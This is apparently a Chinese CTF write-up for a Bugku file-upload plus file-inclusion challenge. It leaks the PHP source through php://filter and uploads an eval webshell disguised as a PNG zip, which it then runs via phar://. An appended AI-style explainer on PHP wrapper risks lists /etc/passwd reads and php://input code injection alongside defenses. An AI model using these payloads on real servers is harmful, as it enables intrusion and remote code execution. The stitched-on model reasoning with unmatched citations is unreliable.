php文件上传+文件包含(phar伪协议)

test.bugku-web-upload—文件上传与文件包含组合

右键查看源码发现

在这里插入图片描述

继续查看源码,提示参数是file,还有一个upload.php

在这里插入图片描述

跟进upload.php,是个上传界面

在这里插入图片描述

那就可以猜测出是 文件上传与文件包含的组合,所以直接先使用伪协议查看源码,使用的是php://filter协议

php://filter/convert.base64-encode/resource=

首先读取include.php的源码

在这里插入图片描述

发现后缀多了一个.php,所以就不加.php了

在这里插入图片描述

base64解码

<html>
Tips: the parameter is file! :) 
<!-- upload.php -->
</html>
<?php
    @$file = $_GET["file"];
    if(isset($file))
    {
        if (preg_match('/http|data|ftp|input|%00/i', $file) || strstr($file,"..") !== FALSE || strlen($file)>=70)
        {
            echo "<p> error! </p>";
        }
        else
        {
            include($file.'.php');
        }
    }
?>

发现,过滤了一些字符和协议,添加了 .php 的后缀

继续读取upload.php 看看其过滤了什么

<form action="" enctype="multipart/form-data" method="post" 
name="upload">file:<input type="file" name="file" /><br> 
<input type="submit" value="upload" /></form>

<?php
if(!empty($_FILES["file"]))
{
    echo $_FILES["file"];
    $allowedExts = array("gif", "jpeg", "jpg", "png");
    @$temp = explode(".", $_FILES["file"]["name"]);
    $extension = end($temp);
    if (((@$_FILES["file"]["type"] == "image/gif") || (@$_FILES["file"]["type"] == "image/jpeg")
    || (@$_FILES["file"]["type"] == "image/jpg") || (@$_FILES["file"]["type"] == "image/pjpeg")
    || (@$_FILES["file"]["type"] == "image/x-png") || (@$_FILES["file"]["type"] == "image/png"))
    && (@$_FILES["file"]["size"] < 102400) && in_array($extension, $allowedExts))
    {
        move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $_FILES["file"]["name"]);
        echo "file upload successful!Save in:  " . "upload/" . $_FILES["file"]["name"];
    }
    else
    {
        echo "upload failed!";
    }
}
?>

简单的审计,添加了白名单,只能上传 gif、jpg、png 格式的,但是没有对内容过滤,所以可以上传图片马,然后再将其包含即可,这里尝试使用了 zip: //,但是失败了,提示没有开启,但是我们还可以使用另一个协议 phar://zip: //协议差不多,都是可以访问zip格式压缩包内容,所以接下来我们就开始准备和上传我们的图片马

首先写一句话木马 shell.php

<?php @eval($_REQUEST['hack']);highlight_file(__FILE__);?>

在这里插入图片描述

然后将 shell.php 打包成 zip 文件

在这里插入图片描述

接着将shell.zip 更改为 shell.png,就是修改后缀名为png

在这里插入图片描述

然后将我们的图片马上传,成功上传

在这里插入图片描述

接着使用 phar:// 伪协议读取,没有报错且成功解析

include.php?file=phar://upload/shell.png/shell

在这里插入图片描述

这里需要注意,后面的 /shell 目录,一定要和图片名称一样(图片名称即刚刚zip文件里的php文件名),不然会报错,因为压缩包中没有 aaa.php 这个文件
在这里插入图片描述

成功包含解析,剩下的就是蚁剑连接或者直接执行命令即可

<think>好的,用户想了解文件包含伪协议的使用场景及安全风险。首先,我需要回顾一下PHP伪协议的基本概念,然后结合现有的引用资料来组织回答。 根据引用[2],PHP伪协议是支持的协议与封装协议,用于文件系统函数,比如fopen()file_exists()等。常见的有file://、php://、zip://等。使用场景可能包括文件包含、读取资源、数据流处理等。比如在CTF比赛中,选手可能会用这些协议绕过文件包含限制,引用[2]和[5]都提到了文件包含漏洞的应用。 安全风险方面,引用[1]提到伪协议存在安全隐患,特别是未经验证的用户输入可能导致文件泄露或代码执行。例如,如果允许用户控制文件路径,攻击者可能利用php://input执行恶意代码,或者用file://读取系统敏感文件。引用[4]提到的RFI(远程文件包含)也是一种风险,但需要allow_url_include开启,不过伪协议更多涉及本地文件包含。 需要具体说明使用场景,比如开发中的动态加载、数据流处理,以及漏洞利用场景。安全防护措施方面,引用[4]提到参数化白名单,限制允许的协议和路径,引用[1]建议输入验证和过滤。 还要注意引用资料的对应,比如引用[2]解释伪协议的原理,引用[5]提到文件包含的前提条件。可能需要分点回答,确保结构清晰,符合用户要求的中文回答,并且正确使用LaTeX格式,比如变量用$...$,独立公式用$$...$$,不过这里可能数学公式较少,但要注意变量如$_GET['file']的正确格式。 最后生成相关问题,可能需要围绕其他协议、具体漏洞案例、防御措施等展开。检查是否有遗漏的信息,比如不同协议的具体风险例子,如php://filter用于读取源码,zip://绕过文件上传限制等。确保回答覆盖用户需求,并正确引用资料。</think>### 文件包含伪协议的使用场景及安全风险 #### 一、使用场景 1. **动态资源加载** 在PHP开发中,文件包含伪协议(如`php://input`、`php://filter`)常用于动态读取文件内容或处理数据流。例如: ```php // 通过php://input获取POST原始数据 $data = file_get_contents('php://input'); ``` 这种场景适用于API开发或流式数据处理[^2]。 2. **文件包含功能** 伪协议可用于包含本地或远程文件,例如: ```php include($_GET['file']); // 用户可能传入phar://或zip://路径 ``` 在CTF比赛中,常用`php://filter`读取源码(如`php://filter/convert.base64-encode/resource=index.php`)[^5]。 3. **压缩包操作** 使用`zip://`协议直接访问压缩包内文件,无需解压: ```php $content = file_get_contents('zip://archive.zip#file.txt'); ``` #### 二、安全风险 1. **敏感文件泄露** 若未过滤用户输入,攻击者可通过`file://`协议读取系统文件: ```php include($_GET['file']); // 用户传入file:///etc/passwd ``` 导致敏感信息泄露[^5]。 2. **远程代码执行** 当`allow_url_include`开启时,攻击者可利用`php://input`注入恶意代码: ```php // 用户传入php://input,POST正文为<?php system('id'); ?> include($_GET['file']); ``` 从而执行任意命令[^4]。 3. **绕过文件限制** 使用`phar://`或`zip://`协议可绕过文件扩展名限制。例如上传图片马后,通过`phar://uploads/image.jpg/shell.php`解析其中的PHP代码。 #### 三、防御措施 1. **输入验证与白名单** 限制文件路径为固定范围,例如: ```php $allowed = ['page1.php', 'page2.php']; $file = $_GET['file']; if (!in_array($file, $allowed)) die("Invalid request"); ``` 此方法可有效避免非法协议调用[^4]。 2. **禁用危险配置** 在`php.ini`中关闭高风险选项: ```ini allow_url_include = Off allow_url_fopen = Off ``` 3. **过滤协议前缀** 对用户输入的协议进行检测和过滤: ```php $file = str_replace(['php://', 'file://'], '', $file); ``` 4. **最小权限原则** 确保Web服务器进程仅拥有必要文件的读取权限,避免越权访问[^1][^3]。 --- ### 相关问题 1. `php://filter`协议如何用于读取源码? 2. 如何通过`phar://`协议绕过文件上传限制? 3. 文件包含漏洞与远程代码执行(RCE)有何关联? 4. 防御文件包含攻击的最佳实践有哪些? [^1]: PHP伪协议的安全防护需结合输入验证与配置优化 : 伪协议在CTF中常用于文件包含和源码泄露 : 参数化白名单可有效控制文件包含风险 : 文件包含漏洞需满足目标存在且可读的条件
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值